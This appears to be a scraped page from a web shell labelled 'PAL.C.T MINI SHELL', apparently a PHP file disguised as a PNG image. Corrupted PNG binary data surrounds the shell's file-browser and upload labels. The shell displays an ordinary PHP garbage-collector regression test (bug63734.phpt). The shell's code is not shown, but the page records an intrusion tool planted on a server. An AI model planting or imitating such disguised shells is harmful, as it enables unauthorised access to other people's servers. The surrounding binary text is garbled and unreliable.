php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/Zend/tests/
upload
files >> //opt/php-7.0.1/Zend/tests/bug63734.phpt

--TEST--
Bug #63734 (Garbage collector can free zvals that are still referenced)
--FILE--
<?php
class C {
    public $ref;
    public $ary;
    public function __construct() {
        $this->ref = $this;
        $this->ary[] = 42;
    }
    public function __destruct() {
        global $ary;
        $ary[] = $this->ary[0];
    }
}

$c = new C;
unset($c);
gc_collect_cycles();

var_dump($ary);
?>
--EXPECT--
array(1) {
  [0]=>
  int(42)
}
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`